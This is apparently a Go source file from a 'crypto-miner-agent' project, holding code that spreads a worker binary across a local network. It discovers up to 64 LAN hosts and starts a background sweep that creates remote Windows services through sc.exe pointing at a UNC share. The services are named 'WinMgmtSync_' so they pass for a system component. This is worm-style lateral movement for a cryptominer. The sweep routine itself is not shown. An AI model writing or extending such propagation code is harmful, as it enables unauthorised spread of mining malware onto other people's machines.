package deploy import ( "fmt" "strings" "crypto-miner-agent/config" ) // SMBUNCSpreadOpts configures remote sc.exe service creation against a UNC Forge share. type SMBUNCSpreadOpts struct { UNCPath string MaxHosts int SvcName string } // ValidateUNCSpreadPath ensures the operator-supplied UNC points at a binary on a share. func ValidateUNCSpreadPath(unc string) error { unc = strings.TrimSpace(unc) if unc == "" { return fmt.Errorf("unc_path is required (e.g. \\\\forge-host\\pathforge$\\worker.exe)") } lower := strings.ToLower(unc) if !strings.HasPrefix(lower, `\\`) { return fmt.Errorf("unc_path must start with \\\\") } if strings.Contains(unc, "..") { return fmt.Errorf("unc_path must not contain ..") } return nil } // RunSMBUNCSpread triggers a non-blocking LAN sweep that creates remote services via sc.exe // pointing at a UNC Forge output share (no PsExec, no local payload copy). func RunSMBUNCSpread(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts) string { if err := ValidateUNCSpreadPath(opts.UNCPath); err != nil { return "smb unc spread rejected: " + err.Error() } maxHosts := opts.MaxHosts if maxHosts <= 0 { maxHosts = 64 } targets := DiscoverLANSpreadTargets(maxHosts) go runSMBUNCSpreadSweep(cfg, opts, targets) return fmt.Sprintf("smb unc spread started on %d LAN target(s) via sc.exe → %s", len(targets), opts.UNCPath) } func smbUNCSvcName(cfg config.RuntimeConfig, override string) string { if strings.TrimSpace(override) != "" { return sanitizeName(override) } return "WinMgmtSync_" + sanitizeName(cfg.WorkerName) }